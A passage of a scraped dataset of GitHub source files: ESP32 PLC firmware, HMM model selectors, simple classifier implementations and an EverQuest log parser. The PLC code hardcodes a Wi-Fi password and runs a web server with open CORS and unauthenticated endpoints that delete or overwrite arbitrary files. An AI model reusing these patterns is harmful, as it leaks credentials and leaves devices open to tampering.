"text": "from ejemplo import *\r\nfrom plc import *\r\n\r\ndef setup():\r\n setWifiName(\"HOME-CF80\")\r\n setWifiPassword(\"eslamisma0\")\r\n\r\ndef loop():\r\n rutina1()\r\n Q0.Out()\r\n Q1.Out()\r\n Q2.Out()\r\n Q3.Out()"
},
{
"alpha_fraction": 0.4990612864494324,
"alphanum_fraction": 0.5135688781738281,
"avg_line_length": 30.348066329956055,
"blob_id": "ce50679d05686ce59421a35bf69c0e17dfe5fba1",
"content_id": "3c482fc886d69d844416ff381ef9b8536ae3bed1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5859,
"license_type": "no_license",
"max_line_length": 84,
"num_lines": 181,
"path": "/plc/boot.py",
"repo_name": "PlcNode/PlcNodeIDE",
"src_encoding": "UTF-8",
"text": "\r\nfrom plc import *\r\nfrom main import *\r\nimport ssd1306\r\nimport machine\r\nfrom time import sleep, ticks_ms\r\nimport network\r\n\r\n\r\n# ----------------------------------------------------------------------------\r\n\r\nprint(freeMemory())\r\n\r\n#-----------------------------------------------------------------------------------\r\n\r\ni2c = machine.I2C(-1, scl=machine.Pin(22), sda=machine.Pin(21))\r\noled_width = 128\r\noled_height = 64\r\noled = ssd1306.SSD1306_I2C(oled_width, oled_height, i2c)\r\n\r\nfor i in range(6):\r\n oled.text('PlcNode', 28, 0)\r\n oled.text(\"V\"+str(i), 56, 30)\r\n oled.show()\r\n oled.fill(0)\r\n sleep(.5)\r\n\r\n#--------------------------------------------------------------------\r\n\r\nwifiName = plcJson['wifiName']\r\nwifiPassword = plcJson['wifiPassword']\r\nstation = network.WLAN(network.STA_IF)\r\nstation.active(True)\r\nstation.connect(wifiName, wifiPassword)\r\n\r\ncount = 0\r\npointers = \".\"\r\n\r\nwhile not(station.isconnected()):\r\n oled.fill(0)\r\n oled.text(wifiName, 8, 20)\r\n oled.text(wifiPassword, 8, 30)\r\n oled.text(pointers, 6, 40)\r\n oled.show()\r\n pointers = pointers + \".\"\r\n count = count + 1\r\n sleep(0.5)\r\n if pointers == \"...................\":\r\n pointers = \"\"\r\n if count == 50:\r\n station.active(False)\r\n break\r\n\r\noled.fill(0)\r\n\r\nif not(station.isconnected()):\r\n wifiName = 'PLCNODE'\r\n wifiPassword = 'NODEWIFI'\r\n ap = network.WLAN(network.AP_IF)\r\n ap.active(True)\r\n ap.config(essid=wifiName, password=wifiPassword)\r\n print(ap.ifconfig())\r\n oled.text(str(ap.ifconfig()[0]), 6, 40)\r\nelse:\r\n oled.text(str(station.ifconfig()[0]), 6, 40)\r\n \r\noled.text(wifiName, 8, 20)\r\noled.text(wifiPassword, 8, 30)\r\noled.show()\r\n\r\n#-------------------------------------------------------------------------------\r\n\r\nfrom microWebSrv import MicroWebSrv\r\n\r\[email protected](\"/\")\r\ndef _httpHandlerTestGet(httpClient, httpResponse) :\r\n httpResponse.WriteResponseFile(\"/index.html\", \r\n contentType=\"text/html\", \r\n headers={'Access-Control-Allow-Origin': '*'})\r\n\r\[email protected](\"/manifest.json\")\r\ndef _httpHandlerTestGet(httpClient, httpResponse) :\r\n httpResponse.WriteResponseFile(\"/manifest.json\", \r\n contentType=\"text\", \r\n headers={'Access-Control-Allow-Origin': '*'})\r\n \r\[email protected](\"/data/files\")\r\ndef _httpHandlerTestGet(httpClient, httpResponse) :\r\n httpResponse.WriteResponseOk(headers={'Access-Control-Allow-Origin': '*'}, \r\n contentType=\"text\", \r\n contentCharset=\"UTF-8\", \r\n content= getContentFiles() )\r\n\r\[email protected](\"/actions/delete_file\", \"POST\")\r\ndef _httpHandlerTestPost(httpClient, httpResponse) :\r\n _data = httpClient.ReadRequestContentAsJSON()\r\n if _data['delete_file']==True:\r\n uos.remove(_data['file'])\r\n httpResponse.WriteResponseOk(headers={'Access-Control-Allow-Origin': '*'}, \r\n contentType=\"text\", \r\n contentCharset=\"UTF-8\", \r\n content= \"Deleted file:\"+_data['file']+\"\\n\")\r\n\r\[email protected](\"/actions/restart\", \"POST\")\r\ndef _httpHandlerTestPost(httpClient, httpResponse) :\r\n _data = httpClient.ReadRequestContentAsJSON()\r\n httpResponse.WriteResponseOk(headers={'Access-Control-Allow-Origin': '*'}, \r\n contentType=\"text\", \r\n contentCharset=\"UTF-8\", \r\n content= \"Restarted\\n\")\r\n if _data['restart']==True:\r\n timeNow = ticks_ms()\r\n while True:\r\n if (ticks_ms()-timeNow) > 1000:\r\n machine.reset()\r\n \r\n\r\[email protected](\"/actions/save_files\", \"POST\")\r\ndef _httpHandlerTestPost(httpClient, httpResponse) :\r\n _data = httpClient.ReadRequestContentAsJSON()\r\n print(_data)\r\n if _data['save_files']==True:\r\n for i in _data['files']:\r\n file = open('/'+i, \"w\")\r\n file.write(_data['files'][i])\r\n file.close()\r\n httpResponse.WriteResponseOk(headers={'Access-Control-Allow-Origin': '*'}, \r\n contentType=\"text\", \r\n contentCharset=\"UTF-8\", \r\n content= \"Saved\\n\")\r\n\r\n# ----------------------------------------------------------------------------\r\n\r\ndef _acceptWebSocketCallback(webSocket, httpClient):\r\n\tprint(\"WS ACCEPT\")\r\n\twebSocket.RecvTextCallback = _recvTextCallback\r\n\twebSocket.RecvBinaryCallback = _recvBinaryCallback\r\n\twebSocket.ClosedCallback \t = _closedCallback\r\n\r\ndef _recvTextCallback(webSocket, msg):\r\n _data = deserialize(str(msg))\r\n if _data['debug'] == True:\r\n if lastSocketDebug != socketDebug:\r\n webSocket.SendText(\"%s\\n\" % socketDebug)\r\n lastSocketDebug = socketDebug\r\n\r\ndef _recvBinaryCallback(webSocket, data):\r\n\tprint(\"WS RECV DATA : %s\" % data)\r\n\r\ndef _closedCallback(webSocket):\r\n\tprint(\"WS CLOSED\")\r\n\r\n\r\nsrv = MicroWebSrv(webPath='www/')\r\nsrv.MaxWebSocketRecvLen = 1024*10\r\nsrv.WebSocketThreaded\t\t= True\r\nsrv.AcceptWebSocketCallback = _acceptWebSocketCallback\r\nsrv.Start(True)\r\n\r\n# ----------------------------------------------------------------------------\r\n\r\ntry:\r\n setup()\r\nexcept:\r\n console_log(\"Error in setup\")\r\n print(\"error\")\r\n\r\nthisTime1 = ticks_ms()\r\n\r\nwhile True:\r\n if( ticks_ms() - thisTime1 > 1):\r\n thisTime1 = ticks_ms()\r\n try:\r\n Reset()\r\n Leer()\r\n loop()\r\n Set()\r\n except:\r\n console_log(\"Program error\")\r\n print(\"error\")\r\n\r\n#-----------------------------------------------------------------------------------\r\n\r\n"
}
] | 6 |
MehranIr/AIND-Recognizer | https://github.com/MehranIr/AIND-Recognizer | 374b3b7fed28554216c870acdcaecc38fc843266 | ac18f5536687a5efdcc4ea5533f4c4303c9b5f56 | c02a3ad8cab741214131966922c11795b3ff66a0 | refs/heads/master | 2021-05-07T15:38:35.314026 | 2017-11-26T14:36:25 | 2017-11-26T14:36:25 | 110,037,635 | 0 | 0 | null | 2017-11-08T22:26:54 | 2017-11-07T02:59:47 | 2017-10-25T19:51:36 | null | [
{
"alpha_fraction": 0.6517788171768188,
"alphanum_fraction": 0.6601895093917847,
"avg_line_length": 47.79245376586914,
"blob_id": "19feedabee242a134c619495698cabc3e7b9da23",
"content_id": "629f637a76f872ad6a50893e2d8eb6e83282fd5e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 10344,
"license_type": "no_license",
"max_line_length": 122,
"num_lines": 212,
"path": "/my_model_selectors.py",
"repo_name": "MehranIr/AIND-Recognizer",
"src_encoding": "UTF-8",
"text": "import math\nimport statistics\nimport warnings\n\nimport numpy as np\nfrom hmmlearn.hmm import GaussianHMM\nfrom sklearn.model_selection import KFold\nfrom asl_utils import combine_sequences\n\n\nclass ModelSelector(object):\n '''\n base class for model selection (strategy design pattern)\n '''\n\n def __init__(self, all_word_sequences: dict, all_word_Xlengths: dict, this_word: str,\n n_constant=3,\n min_n_components=2, max_n_components=10,\n random_state=14, verbose=False):\n self.words = all_word_sequences\n self.hwords = all_word_Xlengths\n self.sequences = all_word_sequences[this_word]\n self.X, self.lengths = all_word_Xlengths[this_word]\n self.this_word = this_word\n self.n_constant = n_constant\n self.min_n_components = min_n_components\n self.max_n_components = max_n_components\n self.random_state = random_state\n self.verbose = verbose\n\n def select(self):\n raise NotImplementedError\n\n def base_model(self, num_states):\n # with warnings.catch_warnings():\n warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n # warnings.filterwarnings(\"ignore\", category=RuntimeWarning)\n try:\n hmm_model = GaussianHMM(n_components=num_states, covariance_type=\"diag\", n_iter=1000,\n random_state=self.random_state, verbose=False).fit(self.X, self.lengths)\n if self.verbose:\n print(\"model created for {} with {} states\".format(self.this_word, num_states))\n return hmm_model\n except:\n if self.verbose:\n print(\"failure on {} with {} states\".format(self.this_word, num_states))\n return None\n\n\nclass SelectorConstant(ModelSelector):\n \"\"\" select the model with value self.n_constant\n\n \"\"\"\n\n def select(self):\n \"\"\" select based on n_constant value\n\n :return: GaussianHMM object\n \"\"\"\n best_num_components = self.n_constant\n return self.base_model(best_num_components)\n\n\nclass SelectorBIC(ModelSelector):\n \"\"\" select the model with the lowest Bayesian Information Criterion(BIC) score\n\n http://www2.imm.dtu.dk/courses/02433/doc/ch6_slides.pdf\n Bayesian information criteria: BIC = -2 * logL + p * logN\n \"\"\"\n\n def select(self):\n \"\"\" select the best model for self.this_word based on\n BIC score for n between self.min_n_components and self.max_n_components\n\n :return: GaussianHMM object\n\n Implementation Description:\n we make a loop through all the possible given state numbers and for each one, we calculate the BIC value of them\n using BIC = -2* logL +p *logN where , logl is the likelihood, p is the number of free params that we have and N is\n the sum of the lenghts of the\n\n For calculating the free params I have used the following resources:\n\n From https://discussions.udacity.com/t/number-of-parameters-bic-calculation/233235/11\n \"If we develop the HMM using the GaussianHMM(n_components=num_states, covariance_type=\"diag\", n_iter=1000,\n random_state=self.random_state, verbose=False).fit(self.X, self.lengths) from hmmlearn we are calculating the\n following parameters that are the ones we use in BIC:\n Initial state occupation probabilities = numStates\n Transition probabilities = numStates*(numStates - 1)\n Emission probabilities = numStates*numFeatures*2 = numMeans+numCovars\n numMeans and numCovars are the number of means and covars calculated. One mean and covar for each state and\n features. Then the total number of parameters are:\n Parameters = Initial state occupation probabilities + Transition probabilities + Emission probabilities\n\n \"\"\"\n warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n bICDict = {}\n for stateNum in range(self.min_n_components, self.max_n_components + 1):\n try:\n model = self.base_model(stateNum)\n # Params =Initial state occupation probabilities + Transition probabilities + Emission probabilities\n params = stateNum + (stateNum * (stateNum - 1)) + (stateNum * sum(self.lengths) * 2)\n bICDict[model] = -2 * model.score(self.X, self.lengths) + params * math.log10(sum(self.lengths))\n except Exception as ex:\n pass\n return min(bICDict, key=bICDict.get)\n\n\n\n\n\n\nclass SelectorDIC(ModelSelector):\n ''' select best model based on Discriminative Information Criterion\n\n Biem, Alain. \"A model selection criterion for classification: Application to hmm topology optimization.\"\n Document Analysis and Recognition, 2003. Proceedings. Seventh International Conference on. IEEE, 2003.\n http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.58.6208&rep=rep1&type=pdf\n https://pdfs.semanticscholar.org/ed3d/7c4a5f607201f3848d4c02dd9ba17c791fc2.pdf\n DIC = log(P(X(i)) - 1/(M-1)SUM(log(P(X(all but i))\n\n Implementation note:\n For this scoring algorithm, we need to first create the model based on the available sequences for the given word,\n then we need to reduce the likely hood of the word sequence from the likelihood of the all other sequences to find\n out which number of states could recognize most of the samples while giving the least possible number of false\n positive results ( recognizing other words mistakenly as the word under calculation)\n For achieving this, I have implemented two extra help functions, one for calculating the unlikelihood of other\n sequences against the created model and a second function to assemble a {word -> sequence, length} dictionary to be\n used inside the unlikelihood function.\n '''\n # implements a dictionary of all the X, lengths parameters for all the available words defined for the ModelSelector\n def get_x_length_dict(self):\n x_length_dict = {}\n for word in self.words:\n x_length_dict[word] = self.hwords[word]\n return x_length_dict\n\n # calculates the likelihood of other sequences being mistaken for the word under construction.\n # x_length_dict, is the dictionary that is implemented in get_x_length_dict function\n # model, is the model that is implemented for a certain number of states which is implemented in the select function\n def anti_likelihood(self, model, x_length_dict):\n anti_log = []\n # loop through all the available words for the ModelSelector\n for word in self.words:\n # ignore the word under construction\n if word is not self.this_word:\n word_x, word_lengths = x_length_dict.get(word)\n try:\n anti_log.append(model.score(word_x, word_lengths))\n except Exception as ex:\n pass\n # pass the average of likelihood values to the caller\n return sum(anti_log)/len(anti_log)\n\n def select(self):\n warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n x_length_dict = self.get_x_length_dict()\n dic_dictionary = {}\n # loop over possible state numbers\n for stateNum in range(self.min_n_components, self.max_n_components+1):\n try:\n model = self.base_model(stateNum)\n dic_dictionary[model] = model.score(self.X, self.lengths) - self.anti_likelihood(model, x_length_dict)\n except Exception as ex:\n pass\n # return the model with the highest score\n return max(dic_dictionary, key=dic_dictionary.get)\n\n\nclass SelectorCV(ModelSelector):\n ''' select best model based on average log Likelihood of cross-validation folds\n\n Implementation description: For implementing the select functionality, we need to loop over all the possible number\n of states that we can have, and for each state if the number of available sequence samples are large enough, we\n break them down into three folds of test and training data set,\n for each fold then we train the HMM model with the training data and calculate the log likelihood of the test data\n and at the end we make an average on the log likelihood for each state length.\n Finally we compare the average log likelihoods of each state and return the HMM model of the state with the highest\n log likelihood average.\n '''\n\n\n def select(self):\n warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n # a dictionary where key= Hmm model result and value is the average log likelihood of cv\n averageLogDict = {}\n # loop over possible state numbers\n for stateNum in range(self.min_n_components, self.max_n_components):\n try:\n # is the sequence sample for the word large enough?\n if len(self.sequences) > 2:\n split_method = KFold(n_splits=3, random_state=None, shuffle=False)\n # placeholder for storing log-likelihood values for each fold\n loglList = []\n # retrieve a training set and a test set from the total sequences of a word\n for cv_train_idx, cv_test_idx in split_method.split(self.sequences):\n self.X, self.lengths = combine_sequences(cv_train_idx, self.sequences)\n testX, testLengths = combine_sequences(cv_test_idx, self.sequences)\n # training the model with the training set\n model = self.base_model(stateNum)\n loglList.append(model.score(testX, testLengths))\n averageLogDict[model] = sum(loglList)/len(loglList)\n # averageLogDict[model] = np.mean(loglList)\n # in case the sample length is not large enough, use the same sequences for finding the log likelihood\n # which was also being used for training the hmm model\n else:\n model = self.base_model(stateNum)\n averageLogDict[model] = model.score(self.X, self.lengths)\n # ignore the samples that are not compatible with the hmm implementer\n except Exception as ex:\n pass\n return max(averageLogDict, key=averageLogDict.get)\n"
}
] | 1 |
DavidG8168/Perceptron-SVM-PA---ML2 | https://github.com/DavidG8168/Perceptron-SVM-PA---ML2 | 2a310c69cb1bfd4d78bca193d0ef3c87617ce643 | c734aa8358e42d0de2d9a153be8f88bbedafe1d8 | 55cfd6dd36128fb263fa6a535d6ac1f0f5a8eacf | refs/heads/master | 2020-05-24T11:25:41.553509 | 2019-05-17T16:29:56 | 2019-05-17T16:29:56 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.8181818127632141,
"alphanum_fraction": 0.8181818127632141,
"avg_line_length": 59.5,
"blob_id": "0b04bc6589a31e20cac6327a5b63b2968c94bddd",
"content_id": "cb9be63f2785058b900f87a736a7d9f78088b1c0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 121,
"license_type": "no_license",
"max_line_length": 100,
"num_lines": 2,
"path": "/README.md",
"repo_name": "DavidG8168/Perceptron-SVM-PA---ML2",
"src_encoding": "UTF-8",
"text": "# Perceptron-SVM-PA\nThree machine learning algorithms implemented in python using a given data set as a system argument.\n"
},
{
"alpha_fraction": 0.41832900047302246,
"alphanum_fraction": 0.42649608850479126,
"avg_line_length": 42.23749923706055,
"blob_id": "f3de1c37f39376cd81187c85674ea263304f4037",
"content_id": "d481cd28599d8020e31d0b713a17907fa813d027",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 13836,
"license_type": "no_license",
"max_line_length": 113,
"num_lines": 320,
"path": "/ex2.py",
"repo_name": "DavidG8168/Perceptron-SVM-PA---ML2",
"src_encoding": "UTF-8",
"text": "import sys\nimport numpy as np\n\n\n# ********************************************************************************\n# ****************************** FILE OPERATIONS *********************************\n# ********************************************************************************\n# Get the data from the file.\ndef get_data(data_file_name):\n # Open the file and split by newlines.\n with open(data_file_name) as data_file:\n all_data = data_file.readlines()\n all_data = [line.strip() for line in all_data]\n return all_data\n\n\n# ********************************************************************************\n# ****************************** Accuracy Check **********************************\n# ********************************************************************************\n# Test the accuracy of all the algorithms.\n# Test the Perceptron.\ndef test_perceptron(x_train, y_train, w_perceptron):\n m = len(x_train)\n m_perceptron = 0\n w_perceptron = w_perceptron[0:w_perceptron.size - 1]\n for t in range(0, m):\n y_hat = np.argmax(np.dot(w_perceptron, x_train[t]))\n if y_train[t] != y_hat:\n m_perceptron += 1\n print(\"perceptron err =\", float(m_perceptron)/m)\n\n\n# Test the SVM.\ndef test_svm(x_train, y_train, w_svm):\n m = len(x_train)\n m_svm = 0\n w_svm = w_svm[0:w_svm.size - 1]\n for t in range(0, m):\n y_hat = np.argmax(np.dot(w_svm, x_train[t]))\n if y_train[t] != y_hat:\n m_svm += 1\n print(\"svm err =\", float(m_svm)/m)\n\n\n# Test the PA.\ndef test_pa(x_train, y_train, w_pa):\n m = len(x_train)\n m_pa = 0\n w_pa = w_pa[0:w_pa.size - 1]\n for t in range(0, m):\n y_hat = np.argmax(np.dot(w_pa, x_train[t]))\n if y_train[t] != y_hat:\n m_pa += 1\n print(\"pa err =\", float(m_pa)/m)\n\n\n# ********************************************************************************\n# ****************************** NORMALIZATION ***********************************\n# ********************************************************************************\n# Min-Max normalization.\ndef normalize_min_max(input_array):\n # Convert the array to a numpy.\n normalized = np.array(input_array)\n # Calculate the denominator.\n denominator = (normalized[:, 1].max() - normalized[:, 1].min())\n # Handle case of zero-division error.\n if denominator == 0:\n return normalized\n # Normalize.\n normalized[:, 1] = (normalized[:, 1] - normalized[:, 1].min()) / denominator\n return normalized\n\n\n# ********************************************************************************\n# ****************************** PERCEPTRON **************************************\n# ********************************************************************************\nclass Perceptron(object):\n def __init__(self):\n # The learning rate of the algorithm.\n self.learning_rate = 0.01\n # Epochs.\n self.thresh_hold = 100\n # The weight array, of size 3 and 8 because we have 3 classes and 8 features.\n self.arr_of_weights = np.zeros((3, 8))\n\n # Train the Perceptron algorithm using the training data.\n def train_func(self, training_inputs, labels):\n for t in range(self.thresh_hold):\n for x, y in zip(training_inputs, labels):\n # Get the parameters from the input.\n y = int(float(y))\n x = np.array(x).astype(float)\n new_y = int(np.argmax(np.dot(self.arr_of_weights, x)))\n # Update.\n if y != new_y:\n eta = self.learning_rate * x\n self.arr_of_weights[y] += eta\n self.arr_of_weights[new_y] -= eta\n\n # Predict the classification using the input data vector and the calculated weights.\n def predict_func(self, data1_of_inputs):\n x = np.array(data1_of_inputs).astype(float)\n # Predict.\n prediction = np.argmax(np.dot(self.arr_of_weights, x))\n return prediction\n\n\n# ********************************************************************************\n# ****************************** SVM - (Support Vector Machine) ******************\n# ********************************************************************************\nclass SVM(object):\n def __init__(self):\n # The learning rate.\n self.learning_rate = 0.01\n # Epochs.\n self.thresh_hold = 400\n # The weight array, of size 3 and 8 because we have 3 classes and 8 features.\n self.arr_of_weights = np.zeros((3, 8))\n # The lambda, 1/epochs therefore the regularization number reduces as the number of epochs increases.\n self.lambada = 1/self.thresh_hold\n\n # Train the SVM algorithm using the training data.\n def train_func(self, training_inputs, labels):\n for t in range(self.thresh_hold):\n for x, y in zip(training_inputs, labels):\n y = int(float(y))\n x = np.array(x).astype(float)\n new_y = int(np.argmax(np.dot(self.arr_of_weights, x)))\n alpha_lambada = 1 - self.learning_rate * self.lambada\n # Update.\n if y != new_y:\n alpha = self.learning_rate * x\n for i in range(len(self.arr_of_weights)):\n if i == y:\n self.arr_of_weights[y] *= alpha_lambada\n self.arr_of_weights[y] += alpha\n elif i == new_y:\n self.arr_of_weights[new_y] *= alpha_lambada\n self.arr_of_weights[new_y] -= alpha\n else:\n self.arr_of_weights[i] *= alpha_lambada\n else:\n for i in range(len(self.arr_of_weights)):\n if i != y:\n self.arr_of_weights[i] *= alpha_lambada\n\n # Predict the classification using the input data vector and the calculated weights.\n def predict_func(self, data_of_inputs):\n x = np.array(data_of_inputs).astype(float)\n # Predict.\n prediction = np.argmax(np.dot(self.arr_of_weights, x))\n return prediction\n\n\n# ********************************************************************************\n# ****************************** PA - Passive Aggressive *************************\n# ********************************************************************************\nclass PassiveAggressive:\n def __init__(self):\n # The learning rate.\n self.learning_rate = 0.01\n # Epochs.\n self.thresh_hold = 400\n # The weight array, of size 3 and 8 because we have 3 classes and 8 features.\n self.arr_of_weights = np.zeros((3, 8))\n\n # Train the PA algorithm using the training data.\n def train_func(self, train_data_set, labels):\n for t in range(self.thresh_hold):\n for x, y in zip(train_data_set, labels):\n y = int(float(y))\n x = np.array(x).astype(float)\n new_y = int(np.argmax(np.dot(self.arr_of_weights, x)))\n # Update.\n if y != new_y:\n a = max(0, (1 - (np.dot(self.arr_of_weights[int(y)], x))\n + (np.dot(self.arr_of_weights[int(new_y)], x))))\n b = 2 * (np.linalg.norm(x) ** 2)\n c = a / b\n d = c * x\n self.arr_of_weights[y] += d\n self.arr_of_weights[new_y] -= d\n\n # Predict the classification using the input data vector and the calculated weights.\n def predict_func(self, test_set):\n x = np.array(test_set).astype(float)\n # Predict.\n prediction = np.argmax(np.dot(self.arr_of_weights, x))\n return prediction\n# *******************************************************************************\n# ****************************************************************************\n# ****************************************************************************\n\n\n# Main implementation.\ndef main():\n # ****************************************************************************\n # ****************************** SETUP **************************************\n # ****************************************************************************\n # Get training and testing files from command line.\n train_x = sys.argv[1]\n train_y = sys.argv[2]\n test_x = sys.argv[3]\n # Get the data from each file in the form of string lists.\n data1 = get_data(train_x)\n data2 = get_data(train_y)\n test_data = get_data(test_x)\n training_inputs = [0] * len(data1)\n testing_inputs = [0] * len(test_data)\n # ****************************************************************************\n # ************************ TRAINING DATA *************************************\n # ****************************************************************************\n # Replace each M,F,I input in the training example with a binary representation\n # with 'One Hot Encoding'.\n for i in range(len(data1)):\n new_list = list(data1[i])\n if data1[i][0] == 'M':\n new_list.pop(0)\n new_list = [\"0.25\"] + new_list\n elif data1[i][0] == 'F':\n new_list.pop(0)\n new_list = [\"0.5\"] + new_list\n elif data1[i][0] == 'I':\n new_list.pop(0)\n new_list = [\"0.75\"] + new_list\n new_list = \"\".join(new_list)\n training_inputs[i] = new_list\n # ****************************************************************************\n # ************************ TESTING DATA **************************************\n # ****************************************************************************\n # Replace each M,F,I input in the testing examples with a numerical representation\n for i in range(len(test_data)):\n test_list = list(test_data[i])\n if test_data[i][0] == 'M':\n test_list.pop(0)\n test_list = [\"0.25\"] + test_list\n elif test_data[i][0] == 'F':\n test_list.pop(0)\n test_list = [\"0.5\"] + test_list\n elif test_data[i][0] == 'I':\n test_list.pop(0)\n test_list = [\"0.75\"] + test_list\n test_list = \"\".join(test_list)\n testing_inputs[i] = test_list\n # ****************************************************************************\n # ************** CONVERT TRAINING BACK TO FLOATS *****************************\n # ****************************************************************************\n arr_floats = [0] * len(training_inputs)\n training_arr = []\n # Convert back to float.\n for i in range(len(training_inputs)):\n str_i = training_inputs[i]\n x = str_i.split(',')\n for r in range(len(x)):\n x[r] = float(x[r])\n arr_floats[i] = x\n training_arr.append(np.array(arr_floats[i]))\n # Convert the labels to integers.\n arr_ints = [0] * len(data2)\n labels_arr = []\n for i in range(len(data2)):\n str_i = data2[i]\n x = str_i.split(',')\n for r in range(len(x)):\n x[r] = float(x[r])\n arr_ints[i] = x\n labels_arr.append(np.array(arr_ints[i]))\n # ****************************************************************************\n # ***************** CONVERT TESTING BACK TO FLOATS ***************************\n # ****************************************************************************\n test_floats = [0] * len(testing_inputs)\n testing_arr = []\n for i in range(len(testing_inputs)):\n str_i = testing_inputs[i]\n x = str_i.split(',')\n for r in range(len(x)):\n x[r] = float(x[r])\n test_floats[i] = x\n testing_arr.append(np.array(test_floats[i]))\n # ****************************************************************************\n # ************************** TESTING & TRAINING PHASE ************************\n # ****************************************************************************\n # First normalize the data sets.\n training_arr = normalize_min_max(training_arr)\n test_floats = normalize_min_max(test_floats)\n # Create the perceptron class to use the perceptron algorithm.\n perceptron = Perceptron()\n # Train the perceptron using our arguments from the train_x and train_y files.\n perceptron.train_func(training_arr, labels_arr)\n # Check perceptron accuracy.\n # test_perceptron(training_arr,labels_arr, perceptron.arr_of_weights)\n # Create the SVM class to use the SVM algorithm.\n svm = SVM()\n # Train the SVM using our arguments from the train_x and train_y files.\n svm.train_func(training_arr, labels_arr)\n # Check the SVM accuracy.\n # test_svm(training_arr,labels_arr, svm.arr_of_weights)\n # Create the PA.\n pa = PassiveAggressive()\n # Train the PA algorithm.\n pa.train_func(training_arr, labels_arr)\n # Check the PA accuracy.\n # test_pa(training_arr, labels_arr, pa.arr_of_weights)\n # Use algorithm for each input in the test_x file we converted to floats earlier.\n for i in range(len(test_floats)):\n # Get the arguments for the ML arguments from the file.\n inputs = np.array(test_floats[i])\n # Label from train_y\n # y = labels_arr[i]\n # Perceptron, SVM and PA results.\n res = \"perceptron: {}, svm: {}, pa: {}\".format(perceptron.predict_func(inputs), svm.predict_func(inputs),\n pa.predict_func(inputs))\n print(res)\n # ****************************************************************************\n # ****************************************************************************\n # ****************************************************************************\n\n\nif __name__ == \"__main__\":\n main()\n"
}
] | 2 |
aclifford3/eq-deeps-parser | https://github.com/aclifford3/eq-deeps-parser | c34c46c23dd1c0bfa169178d9acb4363fb93df49 | f81042235a4d03622557d1d35c081ad7db399428 | 20e72af2782771aa2a70f386c4afffae7c5d257b | refs/heads/master | 2022-11-25T07:27:14.812823 | 2020-08-02T15:53:56 | 2020-08-02T15:53:56 | 282,377,942 | 1 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7641099691390991,
"alphanum_fraction": 0.774240255355835,
"avg_line_length": 43.54838562011719,
"blob_id": "735ebee3bfa430a38d9102ed813d000898295eef",
"content_id": "5b18c8c62624c1ba5f36e2f11ebdc50fa75392df",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 1382,
"license_type": "permissive",
"max_line_length": 119,
"num_lines": 31,
"path": "/README.md",
"repo_name": "aclifford3/eq-deeps-parser",
"src_encoding": "UTF-8",
"text": "\n\n# eq-deeps-parser\nProgram that parses EverQuest combat logs and uses them to visualize character damage and healing amounts for the last\nfight.\n\n## Fights\nAs players of the game wanting to measure character effectiveness, we want to define some unit of time over which to\nperform such measurements. Often we try to optimize a fight to defeat a particular creature. Because this is a common\nuse case, we choose to associate combat logs with each fight. At some point, we need to consider\na fight terminated. \n\n### State Changes\nA fight should be considered started upon receiving `You have entered combat...` message. A fight\nshould be considered over when receiving the `You are no longer in combat` message.\n\n## Development\nThis describes the setup for developing this program.\n\n1. Ensure you have installed a [Python 3 version](https://www.python.org/downloads/)\n2. Pull down this code base\n3. Install project dependencies in `requirements.txt`\n4. Try to run the unit tests in `test_eq_deeps_parser.py`\n5. Try to run the program `eq_deeps_parser.py`\n\n\n## Usage\n1. Have Python3 installed\n2. Install Python dependencies with `pip install -r requirements.txt`\n3. Update `config.ini` to point at your log file path.\n4. Run the script `python eq_deeps_parser.py`\n\n"
},
{
"alpha_fraction": 0.6665681600570679,
"alphanum_fraction": 0.6693763136863708,
"avg_line_length": 39.03550338745117,
"blob_id": "57bda7d51c5af924558c42b712e5bea1408d3336",
"content_id": "49a6c5c835434f44f7b157be159bc7c0c0dd4ca7",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6766,
"license_type": "permissive",
"max_line_length": 96,
"num_lines": 169,
"path": "/eq_deeps_parser.py",
"repo_name": "aclifford3/eq-deeps-parser",
"src_encoding": "UTF-8",
"text": "\"\"\"\nThis class uses a log puller to read new combat logs every second. It keeps track of character\nperformances for each fight.\n\"\"\"\n\nimport configparser\nimport logging\nimport re\nimport time\n\nimport visualize\nfrom log_puller import LogPuller\n\nlogging.basicConfig(format='%(asctime)s %(levelname)s %(message)s', datefmt='%d-%b-%y %H:%M:%S',\n level=logging.INFO)\n\nclass FightReport:\n '''Fight object containing a list of fight participants and their contributions'''\n def __init__(self):\n self.is_complete = False\n self.contribution_aggregates = {}\n\nclass ContributionAggregate:\n '''Total contribution for a given participant for a given fight'''\n def __init__(self, participant):\n self.participant = participant\n self.damage_dealt = 0\n self.healing_dealt = 0\n\nclass Contribution:\n '''A single contribution for a participant to be added to aggregate contribution'''\n def __init__(self, participant, target, damage_dealt, healing_dealt):\n self.participant = participant\n self.target = target\n self.damage_dealt = damage_dealt\n self.healing_dealt = healing_dealt\n\n\ndef is_combat_log(log):\n '''Returns true if log is a combat log'''\n if is_new_fight(log) or is_fight_complete(log) or 'points of damage' in log:\n return True\n return False\n\n\ndef is_new_fight(combat_log):\n '''Returns true if a new fight has begun'''\n return 'You have entered combat...' in combat_log\n\n\ndef is_fight_complete(combat_log):\n '''Returns true if the fight is completed'''\n return 'You are no longer in combat.' in combat_log\n\ndef is_damage_shield_message(combat_log):\n '''We treat damage shield as a separate participant, if log is for damage shield damage\n returns True\n '''\n return 'was hit by non-melee for' in combat_log\n\ndef get_participant(log_message, verb_start_pos):\n '''Gets the participant that is performing the combat action'''\n return log_message[0:verb_start_pos - 1]\n\ndef get_damage_shield_contribution(log_message, verb_start_pos, amount):\n '''Get contribution of damage shield'''\n return Contribution('Damage Shield', log_message[0:verb_start_pos-1], amount, 0)\n\ndef get_healing_contribution(log_message, amount):\n '''Get participant healing contribution'''\n for_pos = 